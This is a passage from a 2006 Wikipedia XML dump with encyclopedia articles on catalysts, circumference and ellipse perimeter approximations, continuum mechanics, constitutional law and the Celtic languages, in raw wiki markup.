[[fr:Catalyse]]
[[nl:Katalyse]]
[[pt:Catálise]]
[[sk:Katalýza]]
[[zh:&amp;#20652;&amp;#21270;]]</text>
    </revision>
  </page>
  <page>
    <title>Catalyst</title>
    <id>5915</id>
    <revision>
      <id>41868200</id>
      <timestamp>2006-03-02T06:23:36Z</timestamp>
      <contributor>
        <username>Morven</username>
        <id>19833</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/200.95.151.164|200.95.151.164]] ([[User talk:200.95.151.164|talk]]) to last version by Chobot</comment>
      <text xml:space="preserve">{{otheruses}}

A '''catalyst''' ([[Greek language|Greek]]: &amp;#954;&amp;#945;&amp;#964;&amp;#945;&amp;#955;&amp;#973;&amp;#964;&amp;#951;&amp;#962;, ''catalytēs'') is a substance that accelerates the [[rate]] (speed) of a [[chemical reaction]] (see also [[catalysis]]). Chemical catalysts, the focus of this article, participate in reactions but are neither chemical reactants nor chemical products.  More generally, one may sometimes call anything which accelerates a reaction without itself being consumed or transformed a catalyst (for example, a &quot;catalyst for political change&quot;).

== Catalysts and reaction energetics ==
Catalysts enable reactions to occur much faster or at lower temperatures because of changes that they induce in the reactants. Catalysts provide an alternative pathway of lower [[activation energy]], for a reaction to proceed whilst remaining chemically unchanged themselves. This can be observed on a Boltzmann distribution and energy profile diagram. This means that catalysts reduce the amount of energy needed to start a chemical reaction. Molecules that would not have had the energy to react or that have such low energies that they probably would have taken a long time to react are able to react in the presence of a catalyst. Thus, more molecules that need to gain less energy to react will go through the chemical reaction. 

Catalysts cannot make energetically unfavorable reactions possible &amp;mdash; they have no effect on the chemical equilibrium of a reaction because the rate of both the forward and the reverse reaction are equally affected.

== Types of catalysts ==
Catalysts can be either [[heterogeneous]] or [[homogeneous]]. Heterogeneous catalysts are present in different phases from the reactants (e.g. a solid catalyst in a liquid reaction mixture), whereas homogeneous catalysts are in the same phase (e.g. a dissolved catalyst in a liquid reaction mixture). A simple model for heterogeneous catalysis involves the catalyst providing a surface on which the reactants (or [[substrate (biochemistry)|substrate]]s) temporarily become adsorbed. Bonds in the substrate become weakened sufficiently for new bonds to be created. The bonds between the products and the catalyst are weaker, so the products are released.

For example, in the Haber process to manufacture ammonia, finely divided iron acts as a heterogenous catalyst. The metal uses active sites to allow partial weak bonding to the reactant gases, which are adsorbed onto the metal surface. As a result, the bond within the molecule of a reactant is weakened and the reactant molecules are held in close proximity to each other. In this way the particularly strong triple bond in nitrogen is weakened and the hydrogen and nitrogen molecules are brought closer together than would be the case in the gas phase, so the rate of reaction increases. 

Other heterogenous catalysts include vanadium V oxide in the Contact process, nickel in the manufacture of margarine, alumina and silica in the cracking of alkanes and platinum rhodium palladium in catalytic converters.

In car engines, incomplete combustion of the fuel produces carbon monoxide, which is toxic. The electric spark and high temperatures also allow the oxygen and nitrogen to react to form nitrogen monoxide, which is acidic. Catalytic converters reduce such emissions by adsorbing CO and NO onto the catalytic surface, where the gases undergo a redox reaction. Carbon dioxide and nitrogen are desorbed from the surface and emitted as relatively harmless gases:

2CO + 2NO → 2CO(2) + N(2) 

Example of homogeneous catalysts are H+(aq) which acts as a catalyst in esterification and chlorine free radicals in the break down of ozone. Chlorine free radicals are formed by the action of ultraviolet radiation on chlorofluorocarbons (CFCs). They react with ozone forming oxygen molecules and regenerating chlorine free radicals:

Cl(.)   +   O(3)  →   ClO(.)   +   O(2)

ClO(.)  +   O     →   Cl(.)    +   O(2)

N.B. Full stops in brackets denote free radicals that should be superscripted.
Numbers in brackets should be subscripted

Homogeneous catalysts generally react with one or more reactants to form a chemical intermediate that subsequently reacts to form the final reaction product, in the process regenerating the catalyst. The following is a typical reaction scheme, where C represents the catalyst:

:A + C &amp;rarr; AC      (1)

:B + AC &amp;rarr; AB + C  (2)

Although the catalyst (C) is consumed by reaction 1, it is subsequently produced by reaction 2, so for the overall reaction:

:A + B + C &amp;rarr; AB + C

the catalyst is neither consumed nor produced. [[Enzyme]]s are biocatalysts.
Use of &quot;catalyst&quot; in a broader cultural sense is in rough analogy to the sense described here. Other biocatalysts are [[ribozyme]]s and [[deoxyribozyme]]s.

== Poisoning a Catalyst==
A catalyst can be poisoned if another compound reacts with it and bonds chemically, but does not release. This effectively destroys the usefulness of the catalyst, as it cannot participate in the reaction with which it was supposed to catalyse, just like [[Raney nickel]] catalyst has reduced activity when it is in combination with mild steel. The loss in activity of catalyst can be overcome by having a lining of epoxy or other substances .

== Commonly used catalysts ==
Estimates are that 60% of all commerically produced chemical products involve catalysts at some stage in the process of their manufacture.{{ref|catalystindustry}} Some of the most famous catalysts ever developed are the [[Ziegler-Natta catalyst]]s used to mass produce [[polyethylene]] and [[polypropylene]]. Probably the best-known catalytic reaction is the [[Haber process]] for [[ammonia]] synthesis, where ordinary [[iron]] is used as a catalyst. [[Catalytic converter]]s made from [[platinum]] and [[rhodium]] break down some of the more harmful byproducts of automobile exhaust. The most effective catalysts are usually [[transition element]]s.

==See also==

* [[Catalytic converter]]
* [[Coordination catalyst]]s
* [[Enzyme]]s and [[Ribozyme]]s - biocatalysts
* [[Nanomaterial based catalyst]]s

==References==
# &quot;Recognizing the Best in Innovation: Breakthrough Catalyst&quot;. ''R&amp;D Magazine'', September 2005, pg 20.

[[Category:Catalysts| ]]

[[ca:Catalitzador]]
[[cs:Katalyzátor]]
[[da:Katalysator]]
[[de:Katalysator]]
[[et:Katalüsaator]]
[[es:Catalizador]]
[[fr:Catalyseur]]
[[ko:촉매]]
[[io:Katalizo]]
[[id:Katalis]]
[[it:Catalizzatore]]
[[he:זרז]]
[[lt:Katalizatorius]]
[[mk:Катализатор]]
[[nl:Katalysator]]
[[ja:触媒]]
[[nn:Katalysator]]
[[pl:Katalizator]]
[[pt:Catalisador]]
[[ru:Катализатор]]
[[sk:Katalyzátor (chémia)]]
[[sr:Катализатор]]
[[su:Katalis]]
[[fi:Katalyytti]]
[[sv:Katalysator (kemi)]]
[[ta:வினைவேக மாற்றி]]
[[zh:催化剂]]</text>
    </revision>
  </page>
  <page>
    <title>Circumference</title>
    <id>5916</id>
    <revision>
      <id>40361398</id>
      <timestamp>2006-02-20T01:34:00Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''circumference''' is the distance around a closed curve.  Circumference is a kind of [[perimeter]].

===Circle===

The circumference of a [[circle]] can be calculated from its [[diameter]] using the formula:

&lt;math&gt;c = \pi d&lt;/math&gt;

Or, substituting the radius for the diameter:

&lt;math&gt;c = 2r\pi&lt;/math&gt;

Where ''r'' is the [[radius]] and ''d'' is the diameter of the circle, and &amp;pi; (the Greek letter [[pi]]) is the [[mathematical constant|constant]] 3.141 592 653 589 793...

=== Ellipse ===

The circumference of an [[ellipse]] is more problematical, as the exact solution requires finding the [[Elliptic_integral#Complete_elliptic_integral_of_the_second_kind|complete elliptic integral of the second kind]].  This can be achieved either via [[numerical integration]] (the best type being [[Gaussian quadrature]]) or by one of many [[binomial series]] expansions.

Where &lt;math&gt;a,b&lt;/math&gt; are the ellipse's [[semi-major axis|semi-major]] and [[semi-minor axis|semi-minor]] axes, respectively, and &lt;math&gt;e\,\!&lt;/math&gt; is the ellipse's [[eccentricity (mathematics)|eccentricity]],

&lt;math&gt;O\!\!E = \arcsin\!\left\{e\right\}=\arccos\!\left\{\frac{b}{a}\right\}\quad (\mbox{the }\ modular\ angle\mbox{ or }\ angular\ eccentricity\ );\,\!&lt;/math&gt;

&lt;math&gt;\operatorname{E2}\left[0,90^\circ\right]= \mbox{Integral}'s\mbox{ divided difference};&lt;/math&gt;

:&amp;nbsp;&amp;nbsp;&lt;math&gt;Pr=a\times\operatorname{E2}\left[0,90^\circ\right] \quad(\mbox{perimetric radius});\,\!&lt;/math&gt;

::&lt;math&gt;c=2\pi\times Pr.\,\!&lt;/math&gt;

There are many different [[approximation|approximations]] for &lt;math&gt;\operatorname{E2}\left[0,90^\circ\right]&lt;/math&gt;, with varying degrees of sophistication and corresponding accuracy.

In comparing the different approximations, the &lt;math&gt;tan\!\left\{\frac{O\!\!E}{2}\right\}^2\,\!&lt;/math&gt; based series expansion is used to find the actual value:
{|
|-
|&lt;math&gt;\operatorname{E2}\left[0,90^\circ\right]&lt;/math&gt;
|&lt;math&gt;=cos\!\left\{\frac{O\!\!E}{2}\right\}^2 \frac{1}{UT}\sum_{TN=1}^{UT=\infty}
{.5\choose TN}^2
tan\!\left\{\frac{O\!\!E}{2}\right\}^{4TN},\,\!&lt;/math&gt;
|-
|
|&lt;math&gt;\quad = cos\!\left\{\frac{O\!\!E}{2}\right\}^2\left[
1+\frac{1}{4}tan\!\left\{\frac{O\!\!E}{2}\right\}^4
+\frac{1}{64}tan\!\left\{\frac{O\!\!E}{2}\right\}^8
+\frac{1}{256}tan\!\left\{\frac{O\!\!E}{2}\right\}^{12}+...
\right];\,\!&lt;/math&gt;
|}

==== Muir-1883 ====
:Probably the most accurate to its given simplicity is [[Thomas Muir (mathematician)|Thomas Muir's]]:
::&lt;math&gt;Pr \approx \left[\frac{a^{1.5}+b^{1.5}}{2}\right]^\frac{1}{1.5} =a\left[\frac{1+\cos\!\left\{O\!\!E\right\}^{1.5}}{2}\right]^\frac{1}{1.5},\,\!&lt;/math&gt;
::::&lt;math&gt;\approx a\times cos\!\left\{\frac{O\!\!E}{2}\right\}^2\left[1+\frac{1}{4}tan\!\left\{\frac{O\!\!E}{2}\right\}^4\right];\,\!&lt;/math&gt;

==== Ramanujan-1914 (#1,#2) ====
:[[Srinivasa Ramanujan]] introduced ''two'' different approximations, both from 1914:
::&amp;nbsp;&amp;nbsp;&lt;math&gt;1.\ Pr \approx \frac{1}{2}\left[3(a+b) - \sqrt{(3a+b)(a+3b)}\right];\,\!&lt;/math&gt;
::::&lt;math&gt;=\frac{1}{2}a\left[6\cos\!\left\{\frac{O\!\!E}{2}\right\}^2 sqrt{(3+\cos\!\left\{O\!\!E\right\})(1+3\cos\!\left\{O\!\!E\right\})}\right];\,\!&lt;/math&gt;

::&amp;nbsp;&amp;nbsp;&lt;math&gt;2.\ Pr \approx\frac{1}{2}\left[a+b\right]\left[1+\frac{3\left[\frac{a-b}{a+b}\right]^2}{10+\sqrt{4-3\left[\frac{a-b}{a+b}\right]^2}}\right];\,\!&lt;/math&gt;
:::&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;math&gt;=a\times
cos\!\left\{\frac{O\!\!E}{2}\right\}^2\left[1+\frac{3\tan\!\left\{\frac{O\!\!E}{2}\right\}^4}
{10+\sqrt{4-3\tan\!\left\{\frac{O\!\!E}{2}\right\}^4}}\right];\,\!&lt;/math&gt;

:The second equation is by far the better of the two, and may be the most accurate approximation known.

Letting &lt;i&gt;a&lt;/i&gt; = 10000 and &lt;i&gt;b&lt;/i&gt; = &lt;i&gt;a&lt;/i&gt;×cos{&lt;i&gt;Œ&lt;/i&gt;}, results with different ellipticities can be found and compared:

{|class=&quot;wikitable&quot;
|-
! b !! Pr !! Ramanujan-#2 !! Ramanujan-#1 !! Muir
|-
|9975
||&amp;nbsp;'''9987.50391&amp;nbsp;11393'''&amp;nbsp;
||&amp;nbsp;'''9987.50391&amp;nbsp;11393'''&amp;nbsp;
||&amp;nbsp;'''9987.50391&amp;nbsp;11393'''&amp;nbsp;
||&amp;nbsp;'''9987.50391&amp;nbsp;113'''89
|-
|9966
||&amp;nbsp;'''9983.00723 73047'''
||&amp;nbsp;'''9983.00723 73047'''
||&amp;nbsp;'''9983.00723 73047'''
||&amp;nbsp;'''9983.00723 730'''34
|-
|9950
||&amp;nbsp;'''9975.01566 41666'''
||&amp;nbsp;'''9975.01566 41666'''
||&amp;nbsp;'''9975.01566 41666'''
||&amp;nbsp;'''9975.01566 416'''04
|-
|9900
||&amp;nbsp;'''9950.06281 41695'''
||&amp;nbsp;'''9950.06281 41695'''
||&amp;nbsp;'''9950.06281 41695'''
||&amp;nbsp;'''9950.06281 4'''0704
|-
|9000
||&amp;nbsp;'''9506.58008 71725'''
||&amp;nbsp;'''9506.58008 71725'''
||&amp;nbsp;'''9506.58008''' 67774
||&amp;nbsp;'''9506.5'''7894 84209
|-
|8000
||&amp;nbsp;'''9027.79927 77219'''
||&amp;nbsp;'''9027.79927 77219'''
||&amp;nbsp;'''9027.7992'''4 43886
||&amp;nbsp;'''9027.7'''7786 62561
|-
|7500
||&amp;nbsp;'''8794.70009 24247'''
||&amp;nbsp;'''8794.70009 2424'''0
||&amp;nbsp;'''8794'''.69994 52888
||&amp;nbsp;'''8794'''.64324 65132
|-
|6667
||&amp;nbsp;'''8417.02535 37669'''
||&amp;nbsp;'''8417.02535 37'''460
||&amp;nbsp;'''8417.02'''428 62059
||&amp;nbsp;'''841'''6.81780 56370
|-
|5000
||&amp;nbsp;'''7709.82212 59502'''
||&amp;nbsp;'''7709.82212''' 24348
||&amp;nbsp;'''7709.8'''0054 22510
||&amp;nbsp;'''770'''8.38853 77837
|-
|3333
||&amp;nbsp;'''7090.18347 61693'''
||&amp;nbsp;'''7090.183'''24 21686
||&amp;nbsp;'''70'''89.94281 35586
||&amp;nbsp;'''70'''83.80287 96714
|-
|2500
||&amp;nbsp;'''6826.49114 72168'''
||&amp;nbsp;'''6826.4'''8944 11189
||&amp;nbsp;'''682'''5.75998 22882
||&amp;nbsp;'''68'''14.20222 31205
|-
|1000
||&amp;nbsp;'''6468.01579 36089'''
||&amp;nbsp;'''646'''7.94103 84016
||&amp;nbsp;'''646'''2.57005 00576
||&amp;nbsp;'''64'''31.72229 28418
|-
|&amp;nbsp;100
||&amp;nbsp;'''6367.94576 97209'''
||&amp;nbsp;'''636'''6.42397 74408
||&amp;nbsp;'''63'''46.16560 81001
||&amp;nbsp;'''63'''03.80428 66621
|-
|&amp;nbsp;&amp;nbsp;10
||&amp;nbsp;'''6366.22253 29150'''
||&amp;nbsp;'''636'''3.81341 42880
||&amp;nbsp;'''63'''40.31989 06242
||&amp;nbsp;'''6'''299.73805 61141
|-
|&amp;nbsp;&amp;nbsp;&amp;nbsp;1
||&amp;nbsp;'''6366.19804 50617'''
||&amp;nbsp;'''636'''3.65301 06191
||&amp;nbsp;'''63'''39.80266 34498
||&amp;nbsp;'''6'''299.60944 92105
|-
|iota
||&amp;nbsp;'''6366.19772 36758'''
||&amp;nbsp;'''636'''3.63636 36364
||&amp;nbsp;'''63'''39.74596 21556
||&amp;nbsp;'''6'''299.60524 94744
|}

==External links==
* [http://home.att.net/~numericana/answer/ellipse.htm#elliptic Numericana - Circumference of an ellipse]

[[Category:Geometry]]

[[bg:&amp;#1054;&amp;#1073;&amp;#1080;&amp;#1082;&amp;#1086;&amp;#1083;&amp;#1082;&amp;#1072;]]
[[da:Omkreds]]
[[de:Umfang]]
[[et:Ümbermõõt]]
[[es:Circunferencia]]
[[fr:Circonférence]]
[[it:Circonferenza]]
[[nl:Omtrek]]
[[nn:Omkrins]]
[[ja:&amp;#20870;&amp;#21608;]]
[[pl:Obwód]]
[[ru:Периметр]]
[[sr:&amp;#1054;&amp;#1073;&amp;#1080;&amp;#1084; (&amp;#1075;&amp;#1077;&amp;#1086;&amp;#1084;&amp;#1077;&amp;#1090;&amp;#1088;&amp;#1080;&amp;#1112;&amp;#1072;)]]
[[th:&amp;#3648;&amp;#3626;&amp;#3657;&amp;#3609;&amp;#3619;&amp;#3629;&amp;#3610;&amp;#3623;&amp;#3591;]]
[[zh:圓周]]</text>
    </revision>
  </page>
  <page>
    <title>Continuum mechanics</title>
    <id>5918</id>
    <revision>
      <id>41094447</id>
      <timestamp>2006-02-25T00:31:21Z</timestamp>
      <contributor>
        <ip>128.206.19.182</ip>
      </contributor>
      <text xml:space="preserve">'''Continuum mechanics''' is a branch of [[physics]] (specifically [[mechanics]]) that deals with [[continuum|continuous]] matter, including both [[solid]]s and [[fluid]]s (i.e., [[liquid]]s and [[gas]]es). 

The fact that matter is made of [[atom]]s and that it commonly has some sort of heterogeneous ''microstructure'' is ignored in the simplifying approximation that physical quantities, such as [[energy]] and [[momentum]], can be handled in the [[infinitesimal]] [[limit]]. [[Differential equation]]s can thus be employed in solving problems in continuum mechanics. Some of these differential equations are specific to the materials being investigated and are called [[constitutive equations]], while others capture fundamental [[physical law]]s, such as [[conservation of mass]] or [[conservation of momentum]]. In [[fluid]]s, the [[Knudsen number]] is used to assess to what extent the approximation of continuity can be made.

The [[physical law]]s of solids and fluids do not depend on the [[coordinate system]] in which they are observed. Continuum mechanics thus uses [[tensor]]s, which are mathematical objects that are independent of coordinate system. These tensors can be expressed in coordinate systems, for computational convenience.

{|align=left border=1
|rowspan=4|[[Continuum mechanics]]
|rowspan=2|[[Solid mechanics]]. Solid mechanics is the study of the physics of continuous solids with a defined rest shape.
|colspan=2|[[Elastic|Elasticity]], which describes materials that return to their rest shape after an applied [[stress (physics)|stress]].
|-
|[[Plasticity (physics)|Plasticity]], which described materials that permanently deform (change their rest shape) after a large enough applied stress.
|rowspan=2|[[Rheology]] Given that some materials are [[viscoelasticity|viscoelastic]] (a combination of elastic and viscous), the boundary between solid mechanics and fluid mechanics is blurry.
|-
|rowspan=2|[[Fluid mechanics]] (including [[Fluid statics]] and [[Fluid dynamics]]), which deals with the physics of fluids. An important property of fluids is its [[viscosity]], which is the force generated by a fluid in response to a velocity field.
|[[Non-Newtonian fluid]]s
|-
|colspan=2|[[Newtonian fluid]]s
|}
&lt;br clear=all&gt;

==See also==
*[[equation of state]]

{{Physics-footer}}

&lt;!--Categories--&gt;

[[Category:Continuum mechanics]]

&lt;!--Interwiki--&gt;

[[de:Kontinuumsmechanik]]
[[fr:Mécanique des milieux continus]]
[[nl:Continuümmechanica]]
[[ja:連続体力学]]
[[ru:Механика сплошных сред]]
[[fi:Kontinuumimekaniikka]]
[[sv:Kontinuummekanik]]
[[vi:Cơ học môi trường liên tục]]
[[zh:连续介质力学]]</text>
    </revision>
  </page>
  <page>
    <title>Constitutional law</title>
    <id>5919</id>
    <revision>
      <id>38597488</id>
      <timestamp>2006-02-07T10:22:06Z</timestamp>
      <contributor>
        <ip>138.40.156.157</ip>
      </contributor>
      <text xml:space="preserve">'''Constitutional law''' is the study of foundational [[law]]s that govern the scope of powers and authority of various bodies in relation to the creation and execution of other laws by a [[government]].  A [[constitution]] binds a government or governments, limiting the contexts in which rules may be created, interpreted and force may be applied.  Constitutions may reference various bodies, including organizations, associations, [[stateless people]]s and [[nation-state]]s.

Most commonly constitutional law is the law of these foundational laws, customs, and constitution a conventions in regard to nation-states.  Not all nation-states have constitutions, though all such states have a ''[[jus commune]]'', or law of the land, that may consist of a variety of imperative and consensual rules, that may be customary law, oral law and written law that apply in the various jurisdictions of such state.  Of those nation-states that do have constitutions, not all are considered strictly written constitutions, as the laws that govern such issues may not be consolidated into one single constitution document or instrument.  The constitutional law may be the fact of interpreting a variety of text which may also be informed by history, custom and unwritten constitutional conventions .  Compare, for example, the written [[Constitution of the United States]] with [[British constitutional law]], which arises from multiple sources including [[Magna Carta]], the [[common law]], and other customary sources.  In some countries, the constitution is known as the [[Basic Law]].

Constitutional laws may often be considered second order rulemaking or rules about making rules of exercise power.  One of the key tasks of constitutions within this context is to indicate hierarchies and relationships of power.  Thus, for example, in the case of a [[unitary state]], the Constitution will vest ulitimate authority in one central administration and [[legislature]], and [[judiciary]], though there is often a delegation of power or authority to local or municipal authorities.  Whereas when a constitution establishes a [[federal state]], it will identify the several levels of government coexisting with exclusive or shared areas of jurisdiction over lawmaking, application and enforcement. 

==See also==

*[[Australian constitutional law]]
*[[British constitutional law]]
*[[Indian constitutional law]]
*[[Spanish constitutional law]]
*[[United States constitutional law]]
*[[Basic Law]]s
*[[European Community law]]

[[Category:Constitutional law| ]]

[[de:Verfassungsrecht]]
[[es:Derecho Constitucional]]
[[eo:Konstitucia juro]]
[[fr:Droit constitutionnel]]
[[he:משפט חוקתי]]
[[it:Diritto costituzionale]]
[[no:Statsrett]]
[[pt:Direito constitucional]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1085;&amp;#1089;&amp;#1090;&amp;#1080;&amp;#1090;&amp;#1091;&amp;#1094;&amp;#1080;&amp;#1086;&amp;#1085;&amp;#1085;&amp;#1086;&amp;#1077; &amp;#1087;&amp;#1088;&amp;#1072;&amp;#1074;&amp;#1086;]]
[[sl:Ustavno pravo]]</text>
    </revision>
  </page>
  <page>
    <title>Celtic languages</title>
    <id>5920</id>
    <revision>
      <id>41869571</id>
      <timestamp>2006-03-02T06:41:35Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <comment>whatever people in Ireland may think, &quot;British Isles&quot; includes Ireland</comment>
      <text xml:space="preserve">{{Indo-European}}
The '''Celtic languages''' are the [[language]]s descended from [[Proto-Celtic]], or &quot;Common Celtic&quot;, a branch of the greater [[Indo-European]] language family. During the [[1st millennium BC]], they were spoken across [[Europe]], from the Bay of Biscay and the North Sea, up the Rhine and down the Danube to the Black Sea and the Upper Balkan Peninsula, and into Asia Minor (Galatia).  Today, Celtic languages are now limited to a few areas in the [[British Isles]], eastern [[Canada]], [[Patagonia]], scattered groups in the [[United States]] and [[Australia]], and on the peninsula of [[Brittany]] in [[France]].

Proto-Celtic apparently divided into four sub-families:

*[[Gaulish language|Gaulish]] and its close relatives, [[Lepontic]] and [[Galatian language|Galatian]]. These languages were once spoken in a wide arc from [[France]] to [[Turkey]] and from [[Belgium]] to northern [[Italy]].

*[[Celtiberian Language|Celtiberian]], anciently spoken in the [[Iberian peninsula]], namely in the areas of modern [[Portugal]], [[Galicia (Spain)|Galicia]], [[Asturias]], [[Aragón]] and [[León (province)|León]]. 

*[[Goidelic]], including [[Irish language|Irish]], [[Scottish Gaelic language|Scots Gaelic]], and [[Manx language|Manx]].

*[[Brythonic]] (also called Brittonic), including [[Welsh language|Welsh]], [[Breton language|Breton]], [[Cornish language|Cornish]], [[Cumbric language|Cumbric]], the hypothetical [[Ivernic]], and [[Pictish language|Pictish]]{{ref|Pictish}}.

Scholarly handling of the Celtic languages has been rather argumentative owing to lack of primary source data.  Some scholars distinguish Continental and Insular Celtic, arguing that the differences between the Goidelic and Brythonic languages arose after these split off from the Continental Celtic languages. Other scholars distinguish P-Celtic from Q-Celtic, putting most of the Continental Celtic languages in the former group (except for Celtiberian, which is Q-Celtic).

The Breton language is Brythonic, not Gaulish.  When the [[Anglo-Saxons]] moved into [[Great Britain]], some of the native [[Brython]]s or &quot;Welsh&quot; (from the [[Old English language|Old English]] word for &quot;foreigners&quot;) fled across the [[English Channel]] and landed in [[Brittany]].  They brought their Brythonic language with them, which evolved into Breton&amp;nbsp;&amp;mdash; which is still partially intelligible with Modern Welsh and Cornish.

The distinction of Celtic into these four sub-families probably occurred about [[1000 BC]]. The early Celts are commonly associated with the archaeological [[Urnfield culture]], the [[La T&amp;egrave;ne culture]], and the [[Hallstatt culture]]. 

==Classification==
{{Infobox Language family
  |name=Celtic
  |region=Originally widespread in Europe, today only [[British Isles]] and [[Brittany]]
  |familycolor=Indo-European
  |fam1=[[Indo-European languages|Indo-European]]
  |child1=[[Continental Celtic languages|Continental Celtic]]
  |child2=[[Insular Celtic languages|Insular Celtic]]
}}
There are two competing schemata of categorization. One scheme, argued for by Schmidt (1988) among others, links Gaulish with Brythonic in a '''P-Celtic''' node, leaving  Goidelic as '''Q-Celtic'''. The difference between P and Q languages is the treatment of [[Proto-Celtic language|Proto-Celtic]] *''k&lt;sup&gt;w&lt;/sup&gt;'', which became *''p'' in the P-Celtic languages but *''k'' in Goidelic. An example is the Proto-Celtic verb root *''k&lt;sup&gt;w&lt;/sup&gt;rin-'' &quot;to buy&quot;, which became ''pryn-'' in Welsh but ''cren-'' in [[Old Irish language|Old Irish]].

The other scheme, defended for example by McCone (1996), links Goidelic and Brythonic together as an [[Insular Celtic languages|Insular Celtic]] sub-family, and Gaulish and Celtiberian as a [[Continental Celtic languages|Continental Celtic]] sub-family. According to this theory, the distinction of Q- and P-Celtic might have occurred independently or areally. The proponents of the Insular Celtic hypothesis point to other shared innovations among Insular Celtic languages, including inflected prepositions, VSO word order, and the lenition of intervocalic {{IPA|[m]}} to {{IPA|[β̃]}}, a [[nasalization|nasalized]] [[voiced bilabial fricative]] (an extremely rare sound). There is, however, no assumption that the Continental Celtic languages descend from a common &quot;Proto-Continental Celtic&quot; ancestor. Rather, the Insular/Continental schemata usually considers Celtiberian the first branch to split from Proto-Celtic, and the remaining group would later have split into Gaulish and Insular Celtic.

There are legitimate scholarly arguments in favour of both the Insular Celtic hypothesis and the P-Celtic/Q-Celtic hypothesis. Proponents of each schema dispute the accuracy and usefulness of the other's categories. Since the realization that Celtiberian was Q-Celtic in the [[1970s]], the division into Insular and Continental Celtic is the more widespread opinion.

It should be remembered, however, that this dispute is purely academic in that it concerns the relationship between modern-day groups of languages and groups that are now extinct. No serious authority disputes that the Celtic languages spoken at present divide into Goidelic and Brythonic clusters. When referring only to the modern Celtic languages, &quot;Q-Celtic&quot; and &quot;P-Celtic&quot; may be taken as synonymous with Goidelic and Brythonic, respectively (although this terminology usually implies acceptance of the overall Q-Celtic/P-Celtic hypothesis).

Within the [[Indo-European]] family, the Celtic languages have sometimes been placed with the [[Italic languages]] in a common [[Italo-Celtic]] subfamily, a hypothesis that is now largely obsolete.

Assuming the Insular/Continental hypothesis, the family tree of the Celtic languages would be:

*[[Proto-Celtic language|Proto-Celtic or Common Celtic]]
**[[Continental Celtic languages|Continental Celtic]]
***[[Gaulish language|Gaulish]]
****[[Lepontic language|Lepontic]]
****[[Galatian language|Galatian]]
***[[Celtiberian language|Celtiberian]]
**[[Insular Celtic languages|Insular Celtic]]
***[[Goidelic languages|Goidelic]]
****[[Primitive Irish language|Primitive Irish]]
****[[Old Irish language|Old Irish]]
****[[Middle Irish language|Middle Irish]]
*****[[Irish language|Irish]]
*****[[Scottish Gaelic language|Scottish Gaelic]]
*****[[Manx language|Manx]]
***[[Brythonic languages|Brythonic]]
****[[Cumbric language|Cumbric]]
****[[Picts#Pictish language|Pictish]]
****[[Old Welsh language|Old Welsh]]
****[[Middle Welsh language|Middle Welsh]]
*****[[Welsh language|Welsh]]
****[[British (language)|British]]
****[[Southwestern Brythonic language|Southwestern Brythonic]]
*****[[Breton language|Breton]]
*****[[Cornish language|Cornish]]

Assuming the P-Celtic/Q-Celtic hypothesis, the Celtic family would be organised this way:

*[[Proto-Celtic language|Proto-Celtic or Common Celtic]]
**[[P-Celtic]]
***[[Gaulish language|Gaulish]]
****[[Lepontic language|Lepontic]]
****[[Galatian language|Galatian]]
***[[Brythonic languages|Brythonic]]
****[[Cumbric language|Cumbric]]
****[[Picts#Pictish language|Pictish]]
****[[Old Welsh language|Old Welsh]]
****[[Middle Welsh language|Middle Welsh]]
*****[[Welsh language|Welsh]]
****[[Southwestern Brythonic language|Southwestern Brythonic]]
*****[[Breton language|Breton]]
*****[[Cornish language|Cornish]]
**[[Q-Celtic]]
***[[Celtiberian language|Celtiberian]]
***[[Goidelic languages|Goidelic]]
****[[Primitive Irish language|Primitive Irish]]
****[[Old Irish language|Old Irish]]
****[[Middle Irish language|Middle Irish]]
*****[[Irish language|Irish]]
*****[[Scottish Gaelic language|Scottish Gaelic]]
*****[[Manx language|Manx]]

==Characteristics of Celtic languages==
Although there are many differences between the individual Celtic languages, they do show many family resemblances. While none of these characteristics is necessarily unique to the Celtic languages, there are few if any other languages which possess them all. They include:

*[[Consonant_mutation|Initial consonant mutation]] (Insular Celtic only)
*Inflected [[preposition]]s (Insular Celtic only)
*[[Verb_Subject_Object|VSO]] word order as standard (Insular Celtic only)
*Two [[grammatical gender]]s (modern Insular Celtic only; Old Irish and the Continental languages had three genders)
*Definite but no indefinite article (Insular Celtic only; no evidence for a definite article in Continental languages)
*Counting by twenties.

Examples:&lt;br&gt;
''Ná bac le mac an bhacaigh is ní bhacfaidh mac an bhacaigh leat.'' (Irish example)&lt;br&gt;
(Literal translation) Don't bother with son the beggar's and not will-bother son the beggar's with-you.&lt;br&gt;
*''bhacaigh'' is the genitive of ''bacach''. The ''i'' is the genitive inflection; the ''bh'' is a mutation.
*''leat'' is the second person form of the preposition ''le''.
*The order is VSO in the second half.
''pedwar ar bymtheg a phedwar ugain'' (Welsh example)&lt;br&gt;
four on fifteen and four twenties
*''bymtheg'' is a mutated form of ''pymtheg'', which is ''pump'' five plus ''deg'' ten. Likewise, ''phedwar'' is mutated from ''pedwar''.
*The multiples of ten are ''deg, ugain, deg ar hugain, deugain, hanner cant, trigain, deg a thrigain, pedwar ugain, deg a phedwar ugain, cant''.

==Mixed languages==
* [[Bungee language]], a Metis mix of [[Scottish Gaelic]] and [[Cree language]]
* [[Shelta]], a mix of [[Romany language]], the [[Irish language]] and [[English language|English]]
* Some forms of [[Romany language]] in Wales, also combined Romany itself with [[Welsh language]] and [[English language]] forms.

==See also==
* [[Language families and languages]]
* [[Celt]] (for the ancient Celts)
* [[Modern Celts]]
* [[Pronunciation of Celtic]] (on the pronunciation of this word in English)

==External links==
*[http://www.ethnologue.com/show_family.asp?subid=90047 Ethnologue report for Celtic languages]
*[http://www.ethnologue.com/show_family.asp?subid=90017 Ethnologue report for Indo-European languages]

==References==
*{{cite book|author=McCone, K.|year=1996|title=Towards a Relative Chronology of Ancient and Medieval Celtic Sound Change|publisher=Maynooth: Department of Old and Middle Irish, St. Patrick's College|id=ISBN 0-901519-40-5}}
*{{cite book | author=Schmidt, K. H. | year=1988 | chapter=On the reconstruction of Proto-Celtic | editor=G. W. MacLennan | title=Proceedings of the First North American Congress of Celtic Studies, Ottawa 1986 | pages=231–48 | publisher=Ottawa: Chair of Celtic Studies | id=ISBN ISBN 0-9693260-0}}

==Notes==
